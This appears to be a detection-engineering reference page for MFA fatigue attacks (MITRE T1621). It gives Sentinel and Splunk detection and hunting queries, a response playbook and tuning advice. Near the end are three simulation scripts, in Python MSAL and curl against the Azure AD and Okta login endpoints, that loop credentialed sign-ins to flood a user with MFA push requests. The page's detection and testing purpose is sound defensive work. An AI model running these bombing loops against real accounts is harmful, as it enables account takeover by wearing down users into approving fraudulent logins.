Multi-Factor Authentication Request Generation
This detection identifies MFA fatigue attacks where adversaries possessing valid credentials repeatedly trigger MFA push notifications, SMS codes, or phone calls to overwhelm target users into approving fraudulent authentication requests. The detection monitors Azure AD and identity provider sign-in logs for abnormally high volumes of MFA challenge events against a single account within a short time window, with elevated severity when a successful authentication follows the bombardment — a pattern consistent with documented TTPs from APT29, Scattered Spider, and LAPSUS$. The technique may also abuse Self-Service Password Reset (SSPR) flows to generate MFA requests without initially possessing valid credentials.
What is T1621 Multi-Factor Authentication Request Generation?
Multi-Factor Authentication Request Generation (T1621) maps to the Credential Access tactic — the adversary is trying to steal account names and passwords in MITRE ATT&CK.
This page provides production-ready detection logic for Multi-Factor Authentication Request Generation, covering the data sources and telemetry it touches: Azure Active Directory / Microsoft Entra ID, Microsoft Sentinel. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Credential Access
- Canonical reference
- https://attack.mitre.org/techniques/T1621/
let MFAInterruptCodes = dynamic(["50074", "50076", "50158", "500121", "50072", "53003"]);
let LookbackWindow = 24h;
let BinSize = 1h;
let MFABombardThreshold = 5;
// Step 1: Aggregate MFA failures per user per hour
let MFAEvents = SigninLogs
| where TimeGenerated > ago(LookbackWindow)
| where ResultType in~ (MFAInterruptCodes)
or (ResultDescription has_any ("MFA", "multi-factor", "strong authentication") and ResultType != "0")
| summarize
MFAAttempts = count(),
UniqueIPs = dcount(IPAddress),
IPList = make_set(IPAddress, 10),
FirstMFARequest = min(TimeGenerated),
LastMFARequest = max(TimeGenerated),
Apps = make_set(AppDisplayName, 5),
ErrorCodes = make_set(ResultType, 10),
Locations = make_set(tostring(LocationDetails), 5)
by UserPrincipalName, bin(TimeGenerated, BinSize);
// Step 2: Find successful logins in the same lookback window
let SuccessEvents = SigninLogs
| where TimeGenerated > ago(LookbackWindow)
| where ResultType == "0"
| summarize
SuccessCount = count(),
EarliestSuccess = min(TimeGenerated),
SuccessIPs = make_set(IPAddress, 5)
by UserPrincipalName;
// Step 3: Join and flag fatigue success scenarios
MFAEvents
| where MFAAttempts >= MFABombardThreshold
| join kind=leftouter (SuccessEvents) on UserPrincipalName
| extend
FatigueSucceeded = iff(isnotnull(EarliestSuccess) and EarliestSuccess > FirstMFARequest, true, false),
DurationMinutes = datetime_diff('minute', LastMFARequest, FirstMFARequest),
RiskLevel = case(
isnotnull(EarliestSuccess) and EarliestSuccess > FirstMFARequest, "Critical",
MFAAttempts >= 10, "High",
"Medium")
| project
TimeGenerated,
UserPrincipalName,
MFAAttempts,
UniqueIPs,
IPList,
DurationMinutes,
FirstMFARequest,
LastMFARequest,
Apps,
ErrorCodes,
Locations,
FatigueSucceeded,
EarliestSuccess,
SuccessIPs,
RiskLevel
| order by MFAAttempts desc Detects MFA fatigue attacks by aggregating Azure AD sign-in failures with MFA interrupt error codes (50074, 50076, 50158, 500121, 50072, 53003) per user per hour. Alerts when a single account exceeds 5 MFA challenges in one hour. Critically flags scenarios where a successful login follows the MFA bombardment window, indicating the fatigue tactic succeeded. RiskLevel field escalates to Critical when FatigueSucceeded is true.
Data Sources
Required Tables
False Positives
- Users with intermittent network connectivity who retry authentication multiple times legitimately, generating repeated MFA prompts without adversarial intent
- Conditional Access policies configured to always require MFA on every request (rather than session-based) can generate high volumes of 50076 events for normal users
- Automated service accounts or scripts using interactive auth flows that repeatedly fail MFA challenge — these should use device-based or certificate auth instead
- IT administrators testing MFA policies, running phishing simulation exercises, or conducting MFA enrollment drives that generate burst MFA events for multiple accounts
Sigma rule & cross-platform mapping
The detection logic for Multi-Factor Authentication Request Generation (T1621) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: azure Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1621
References (4)
- https://attack.mitre.org/techniques/T1621/
- https://www.cisa.gov/sites/default/files/publications/fact-sheet-implement-number-matching-in-mfa-applications-508c.pdf
- https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access
- https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1MFA Fatigue via Python MSAL Repeated Authentication Requests
Expected signal: Azure AD SigninLogs generates 10 entries for [email protected] with ResultType 50076 or 50158 within a 60-second window, all from the test machine's egress IP. If user approves, a ResultType 0 entry appears.
- Test 2MFA Bombardment via Azure AD Token Endpoint curl Loop
Expected signal: Azure AD SigninLogs shows 10 entries for [email protected] with ResultType 50076 or 500121, all with identical IPAddress (test machine egress IP), within 30 seconds. UserAgent field shows curl version string.
- Test 3Okta MFA Bombing via Okta Authentication API
Expected signal: Okta System Log generates policy.auth.mfa.push.sent events for [email protected], 8 events within 40 seconds. In Splunk: sourcetype=okta:im2:log eventType=policy.auth.mfa.push.sent target{}[email protected]
Response Playbook
Triage
- Query SigninLogs for the flagged UserPrincipalName over the past 48 hours sorted by TimeGenerated: identify all source IPs, user agents, and target applications. Look for IP addresses from unusual countries, known hosting providers (AWS, DigitalOcean, Linode, Hetzner), or Tor exit nodes — run: SigninLogs | where UserPrincipalName == '[email protected]' | project TimeGenerated, IPAddress, ResultType, ResultDescription, AppDisplayName, ClientAppUsed, LocationDetails | order by TimeGenerated
- Determine if FatigueSucceeded is true by checking if ResultType '0' (success) entries exist after the MFA bombardment window start time. If a successful login occurred, this is a confirmed account takeover — elevate severity immediately
- Compare source IPs against the user's 30-day baseline: SigninLogs | where UserPrincipalName == '[email protected]' and TimeGenerated > ago(30d) | summarize count() by IPAddress, CountryOrRegion | order by count_ desc — deviations from normal geography are high-confidence indicators of adversarial activity
- Identify the targeted application. MFA bombing targeting Exchange Online (OWA/EXO), Azure Portal, VPN gateways, or admin consoles is higher priority than consumer SaaS apps. Check Apps field in detection alert output
- Attempt out-of-band contact with the user via phone call or verified Slack/Teams DM — do NOT contact via email as the email account may already be compromised. Ask if they received unexpected MFA notifications and whether they approved any
- Correlate with email security logs to check if this user received a phishing email in the preceding 24-72 hours: EmailEvents | where RecipientEmailAddress == '[email protected]' | where TimeGenerated > ago(3d) | project TimeGenerated, SenderFromAddress, Subject, ThreatTypes, DeliveryAction
Containment
- If user confirms they did NOT initiate the requests AND a successful login was detected: immediately revoke all active sessions via PowerShell — Connect-MgGraph; Revoke-MgUserSignInSession -UserId '[email protected]' — or via Entra portal: Users > [user] > Revoke sessions
- Force immediate password reset via out-of-band channel: Update-MgUser -UserId '[email protected]' -PasswordProfile @{ForceChangePasswordNextSignIn=$true; Password='NewTempP@ss123!'} and deliver new credentials via phone or verified secondary channel
- Create a Conditional Access named location to block the attacking IP range: Azure Portal > Security > Conditional Access > Named Locations > Add IP ranges matching the attacker's /24 subnet, then create a CA policy blocking sign-in from that location for the affected user
- Temporarily upgrade the account's MFA method from push notification to number-matching or FIDO2 hardware token to prevent simple approve-all fatigue bypasses: Azure Portal > Users > [user] > Authentication methods
- Enable sign-in risk-based Conditional Access for the affected account via Azure AD Identity Protection — set the account's risk level to High manually to require re-registration of MFA device on next login: AzureAD Identity Protection > Risky users > [user] > Confirm user compromised
Evidence Collection
- Export the full sign-in log for the affected user (past 72h) as CSV: SigninLogs | where UserPrincipalName == '[email protected]' | where TimeGenerated > ago(72h) | project TimeGenerated, IPAddress, ResultType, ResultDescription, AppDisplayName, ClientAppUsed, DeviceDetail, LocationDetails, RiskLevelAggregated, RiskLevelDuringSignIn
- Collect AAD Audit Logs for account modifications (MFA device registration, SSPR configuration, role assignments) during and after the MFA bombing window: AuditLogs | where TimeGenerated > (FirstMFARequest - 1h) | where TargetResources has '[email protected]' | project TimeGenerated, OperationName, Result, InitiatedBy, AdditionalDetails
- If a successful login was confirmed: collect CloudAppEvents and OfficeActivity for all actions in the compromised session — focus on mail forwarding rule creation, file downloads, inbox rule changes, admin role assignments, and application consent grants
- Run WHOIS and ASN lookup on all attacker source IPs to identify hosting provider, country, and whether IPs are known threat actor infrastructure. Cross-reference against AbuseIPDB, VirusTotal, and Shodan. Document findings in incident ticket
- Check for new MFA device registrations or authentication method changes following successful login — a key indicator of persistent access establishment: AuditLogs | where OperationName has_any ('User registered security info', 'Admin updated security info', 'User changed default security info') | where TargetResources has '[email protected]'
Escalation Criteria
- ! Escalate to Tier 3 / Incident Response immediately if FatigueSucceeded is true AND the post-login session accessed Exchange Online, SharePoint admin center, Azure Portal with privileged roles, or financial/HR systems — confirmed account takeover with high-value target access
- ! Escalate if the same source IP block is generating MFA challenges against 3+ distinct accounts simultaneously — indicates a coordinated organizational attack (Scattered Spider or LAPSUS$-style), not an isolated credential compromise
- ! Escalate if source IP infrastructure matches known threat actor indicators for APT29, Scattered Spider (0ktapus), or LAPSUS$ verified via threat intelligence feeds or CISA advisories
- ! Escalate if this MFA bombing follows a confirmed phishing campaign against the organization in the preceding 72 hours — credential harvesting followed by immediate MFA fatigue is the documented kill chain for multiple nation-state and eCrime groups
- ! Escalate if the attacker successfully registered a new MFA authenticator device or changed account recovery options post-login — indicates persistent access and potential for re-entry even after password reset
Investigation Guide
Forensic Artifacts
- >
Azure AD SigninLogs table — primary source with MFA interrupt error codes, source IP, user agent, and result timestamps - >
Azure AD AuditLogs — MFA device registration changes, SSPR configuration events, Conditional Access policy modifications, role assignments - >
AADNonInteractiveUserSignInLogs — non-interactive sign-ins may bypass standard MFA logging; check for successful token acquisitions from attacker IPs - >
CloudAppEvents and OfficeActivity tables — post-compromise actions in Microsoft 365 services during compromised sessions - >
UserRiskEvents and UserRiskHistory — Azure AD Identity Protection risk signals co-occurring with MFA bombing - >
Microsoft Authenticator push notification history (available from user's enrolled device or MDM enrollment records if managed) - >
Network proxy/firewall logs for outbound connections from attacker IP ranges to login.microsoftonline.com or identity provider endpoints - >
Okta System Log (if applicable) — policy.auth.mfa.push.sent and user.authentication.auth_via_mfa events with requester IP and outcome
Tuning Guidance
Start with MFABombardThreshold at 5 per hour for high-sensitivity environments; raise to 10-15 in organizations with known MFA retry issues or aggressive Conditional Access policies that require MFA on every request. Whitelist service accounts using device-based or certificate authentication that incorrectly fall into interactive auth flows. Filter out error code 53003 if your CA policies frequently block unmanaged devices and this creates noise — but monitor 53003 separately for spikes. For the fatigue-success detection, consider widening the join window to 2 hours post-bombardment rather than same-hour to catch delayed approvals. Add IP reputation enrichment using a Sentinel watchlist populated from threat intel feeds to automatically classify attacker IPs as VPN, proxy, or residential — this dramatically reduces false positive triage time. Exclude ResultType 50053 (account locked) which generates MFA-adjacent events unrelated to fatigue attacks. Consider geo-fencing supplemental detection: alert with higher confidence when MFA requests originate from a country the user has never signed in from.
Hunting Queries
Hunts for MFA authenticator device registration or strong authentication method changes on accounts that recently experienced MFA bombardment. Flags when the change occurs AFTER the bombardment — indicating the attacker succeeded in gaining access and is registering their own device to establish persistent access.
// Hunt: MFA config changes on accounts that recently experienced high-volume MFA requests
// Identifies potential post-fatigue-success persistence: attacker registers own authenticator device
let RecentMFABombing = SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType in~ (dynamic(["50074", "50076", "50158", "500121"]))
| summarize MFAAttempts = count(), LastBombardment = max(TimeGenerated) by UserPrincipalName
| where MFAAttempts >= 5;
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName has_any ("User registered security info", "Admin updated security info",
"User changed default security info", "Update StrongAuthenticationMethod",
"User deleted security info", "Admin deleted security info")
| mv-expand TargetResources
| extend AffectedUser = tostring(TargetResources.userPrincipalName)
| extend ChangedBy = tostring(InitiatedBy.user.userPrincipalName)
| join kind=inner (RecentMFABombing) on $left.AffectedUser == $right.UserPrincipalName
| extend SuspiciousTiming = iff(TimeGenerated > LastBombardment, true, false)
| project TimeGenerated, AffectedUser, OperationName, ChangedBy, SuspiciousTiming, LastBombardment, MFAAttempts, AdditionalDetails
| order by TimeGenerated desc index=* sourcetype="azure:aad:audit"
| eval operation=coalesce('properties.operationName', operationName)
| eval target_user=coalesce('properties.targetResources{0}.userPrincipalName', targetUserPrincipalName)
| eval changed_by=coalesce('properties.initiatedBy.user.userPrincipalName', initiatedByUserPrincipalName)
| where match(operation, "security info|StrongAuthentication|registered.*auth|deleted.*auth")
| join type=inner target_user
[search index=* sourcetype="azure:aad:signin"
| eval error_code=coalesce('properties.status.errorCode', errorCode, "")
| eval target_user=coalesce('properties.userPrincipalName', userPrincipalName)
| where match(error_code, "50074|50076|50158|500121")
| stats count as mfa_attempts, max(_time) as last_bombardment by target_user
| where mfa_attempts >= 5
| fields target_user, mfa_attempts, last_bombardment]
| eval suspicious_timing=if(_time > last_bombardment, "YES", "NO")
| table _time, target_user, operation, changed_by, suspicious_timing, mfa_attempts
| sort -_time Hunts for single IP addresses generating MFA challenges against 3+ distinct accounts — identifies coordinated spray campaigns where an adversary holds credentials to multiple accounts and bombs all simultaneously. High TargetedAccounts count is a strong indicator of a Scattered Spider or LAPSUS$-style organizational attack. CompromiseRate field reveals what fraction of targeted accounts were successfully accessed.
// Hunt: Single IP targeting multiple accounts with MFA requests (organized spray campaign)
SigninLogs
| where TimeGenerated > ago(24h)
| where ResultType in~ (dynamic(["50074", "50076", "50158", "500121", "50072"]))
| summarize
TargetedAccounts = dcount(UserPrincipalName),
AccountList = make_set(UserPrincipalName, 20),
TotalAttempts = count(),
TimeRangeMinutes = datetime_diff('minute', max(TimeGenerated), min(TimeGenerated)),
Apps = make_set(AppDisplayName, 5)
by IPAddress
| where TargetedAccounts >= 3
| join kind=leftouter (
SigninLogs
| where TimeGenerated > ago(24h)
| where ResultType == "0"
| summarize SuccessfulAccountCount = dcount(UserPrincipalName), SuccessfulAccounts = make_set(UserPrincipalName, 10) by IPAddress
) on IPAddress
| extend CompromiseRate = iff(TargetedAccounts > 0, round(todouble(coalesce(SuccessfulAccountCount, 0)) / TargetedAccounts * 100, 1), 0.0)
| project IPAddress, TargetedAccounts, AccountList, TotalAttempts, TimeRangeMinutes, Apps, SuccessfulAccountCount, SuccessfulAccounts, CompromiseRate
| order by TargetedAccounts desc index=* sourcetype="azure:aad:signin"
| eval error_code=coalesce('properties.status.errorCode', errorCode, "")
| eval user=coalesce('properties.userPrincipalName', userPrincipalName)
| eval src_ip=coalesce('properties.ipAddress', ipAddress)
| eval app=coalesce('properties.appDisplayName', appDisplayName)
| where match(error_code, "50074|50076|50158|500121|50072")
| stats
dc(user) as targeted_accounts,
values(user) as account_list,
count as total_attempts,
values(app) as apps
by src_ip
| where targeted_accounts >= 3
| sort -targeted_accounts
| table src_ip, targeted_accounts, account_list, total_attempts, apps Hunts for SSPR (Self-Service Password Reset) abuse where adversaries trigger MFA verification requests through the password reset flow without requiring initial valid credentials. This is a documented T1621 variant (Obsidian Security 2023) — the adversary initiates SSPR for target accounts to generate MFA push notifications, potentially gaining access via fatigue without ever needing the account password.
// Hunt: SSPR-triggered MFA abuse without valid passwords (adversary doesn't need credentials)
// Detects repeated SSPR flow initiations to generate MFA notifications on target accounts
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType in~ (dynamic(["50072", "500121"]))
or AppDisplayName has_any ("Password Reset", "SSPR", "Self-Service")
or ClientAppUsed has "SSPR"
| summarize
SSPRAttempts = count(),
UniqueIPs = dcount(IPAddress),
IPList = make_set(IPAddress, 10),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated),
Apps = make_set(AppDisplayName, 5)
by UserPrincipalName
| where SSPRAttempts >= 3
| join kind=leftouter (
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName has "Reset password"
| mv-expand TargetResources
| summarize PasswordResets = count() by UserPrincipalName = tostring(TargetResources.userPrincipalName)
) on UserPrincipalName
| project UserPrincipalName, SSPRAttempts, UniqueIPs, IPList, FirstSeen, LastSeen, Apps, PasswordResets
| order by SSPRAttempts desc index=* sourcetype="azure:aad:signin"
| eval error_code=coalesce('properties.status.errorCode', errorCode, "")
| eval app=lower(coalesce('properties.appDisplayName', appDisplayName, ""))
| eval user=coalesce('properties.userPrincipalName', userPrincipalName)
| eval src_ip=coalesce('properties.ipAddress', ipAddress)
| where match(error_code, "50072|500121") OR match(app, "password reset|sspr|self.service")
| stats
count as sspr_attempts,
dc(src_ip) as unique_ips,
values(src_ip) as ip_list,
min(_time) as first_seen,
max(_time) as last_seen
by user
| where sspr_attempts >= 3
| eval first_seen_fmt=strftime(first_seen, "%Y-%m-%d %H:%M:%S")
| eval last_seen_fmt=strftime(last_seen, "%Y-%m-%d %H:%M:%S")
| sort -sspr_attempts
| table user, sspr_attempts, unique_ips, ip_list, first_seen_fmt, last_seen_fmt Atomic Red Team Tests
Simulates MFA fatigue by using the Microsoft Authentication Library (MSAL) to repeatedly attempt authentication with valid credentials, each attempt triggering an MFA push notification to the target user's authenticator app. Each failed MFA generates a 50076 or 50158 error code in Azure AD SigninLogs. Requires a registered Azure AD native app with password grant enabled and valid test account credentials.
Command
pip install msal --quiet
python3 << 'EOF'
import msal, time, sys
# Replace with test tenant values before running
TENANT_ID = 'YOUR_TENANT_ID'
CLIENT_ID = 'YOUR_NATIVE_APP_CLIENT_ID'
USERNAME = '[email protected]'
PASSWORD = 'TestPassword123!'
SCOPES = ['User.Read']
app = msal.PublicClientApplication(
CLIENT_ID,
authority=f'https://login.microsoftonline.com/{TENANT_ID}'
)
print('[*] Starting MFA fatigue simulation - 10 attempts')
for i in range(10):
print(f'[*] Attempt {i+1}/10 - triggering MFA push notification at {time.strftime("%H:%M:%S")}')
result = app.acquire_token_by_username_password(
USERNAME, PASSWORD, scopes=SCOPES
)
if 'access_token' in result:
print(f'[!] SUCCESS - user approved MFA on attempt {i+1}')
sys.exit(0)
else:
err = result.get('error_description', result.get('error', 'unknown'))
print(f' Error: {str(err)[:100]}')
time.sleep(6)
print('[*] Test complete - check Azure AD SigninLogs for 50076/50158 entries')
EOF Cleanup
pip uninstall msal --yes 2>/dev/null; true Expected Telemetry
Azure AD SigninLogs generates 10 entries for [email protected] with ResultType 50076 or 50158 within a 60-second window, all from the test machine's egress IP. If user approves, a ResultType 0 entry appears.
Expected Detection
T1621 alert fires after 5+ MFA interrupt events for [email protected] accumulate in the 1-hour bin. FatigueSucceeded field becomes true if test completes with MFA approval.
Uses curl to directly call the Azure AD OAuth2 v2.0 token endpoint with valid credentials in a rapid loop, triggering repeated MFA push notifications at the HTTP level. This simulates the behavior of adversary tooling (e.g., Evilginx2 replay, custom scripts) without Python dependencies.
Command
# Replace variables with test tenant values
TENANT_ID="YOUR_TENANT_ID"
CLIENT_ID="YOUR_NATIVE_APP_CLIENT_ID"
USERNAME="[email protected]"
PASSWORD="TestPassword123!"
echo "[*] Starting MFA bombardment - 10 requests at 3-second intervals"
for i in $(seq 1 10); do
echo "[*] Attempt $i/10 - $(date '+%H:%M:%S')"
RESPONSE=$(curl -s -X POST \
"https://login.microsoftonline.com/${TENANT_ID}/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "grant_type=password" \
--data-urlencode "client_id=${CLIENT_ID}" \
--data-urlencode "username=${USERNAME}" \
--data-urlencode "password=${PASSWORD}" \
--data-urlencode "scope=openid profile")
ERROR_CODES=$(echo "$RESPONSE" | grep -o '"error_codes":\[[0-9,]*\]' | head -1)
echo " Error codes: ${ERROR_CODES:-none}"
if echo "$RESPONSE" | grep -q '"access_token"'; then
echo "[!] SUCCESS - MFA approved"
break
fi
sleep 3
done
echo "[*] Complete - verify Azure AD SigninLogs for 50076/500121 entries" Cleanup
true Expected Telemetry
Azure AD SigninLogs shows 10 entries for [email protected] with ResultType 50076 or 500121, all with identical IPAddress (test machine egress IP), within 30 seconds. UserAgent field shows curl version string.
Expected Detection
Detection query accumulates 10 MFAAttempts for the account within a 1-hour bin, triggering the alert with RiskLevel=High. UniqueIPs=1 (single source) is characteristic of targeted rather than spray attack.
Simulates MFA fatigue against an Okta-protected account by calling the Okta Authentication API primary authentication endpoint repeatedly, each triggering an Okta Verify push notification on the target user's enrolled device. Each MFA_CHALLENGE status in the response confirms a push was sent. Requires valid Okta credentials and an accessible Okta org.
Command
# Replace with test Okta org values
OKTA_DOMAIN="YOUR_ORG.okta.com"
USERNAME="[email protected]"
PASSWORD="TestPassword123!"
echo "[*] Starting Okta MFA bombing simulation - 8 requests"
for i in $(seq 1 8); do
echo "[*] Attempt $i/8 - $(date '+%H:%M:%S')"
RESPONSE=$(curl -s -X POST \
"https://${OKTA_DOMAIN}/api/v1/authn" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-d "{\"username\":\"${USERNAME}\",\"password\":\"${PASSWORD}\"}")
STATUS=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('status','PARSE_ERROR'))" 2>/dev/null || echo "PARSE_ERROR")
echo " Status: $STATUS"
if [ "$STATUS" = "MFA_CHALLENGE" ]; then
echo " [!] Okta Verify push notification sent to enrolled device"
elif [ "$STATUS" = "SUCCESS" ]; then
echo " [!] SUCCESS - user accepted MFA"
break
elif [ "$STATUS" = "LOCKED_OUT" ]; then
echo " [!] Account locked - stopping test"
break
fi
sleep 5
done
echo "[*] Test complete - check Okta System Log for mfa.factor.activate/push.sent events" Cleanup
true Expected Telemetry
Okta System Log generates policy.auth.mfa.push.sent events for [email protected], 8 events within 40 seconds. In Splunk: sourcetype=okta:im2:log eventType=policy.auth.mfa.push.sent target{}[email protected]
Expected Detection
If Okta logs are ingested via Splunk's Okta Add-on (sourcetype=okta:im2:log), modify the SPL detection to also search this sourcetype for high-volume mfa.factor events per user. For Azure Sentinel, the Okta connector maps to SigninLogs equivalent tables for cross-platform detection.
Related Detections
Tactic Hub
Detection Variants (1)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.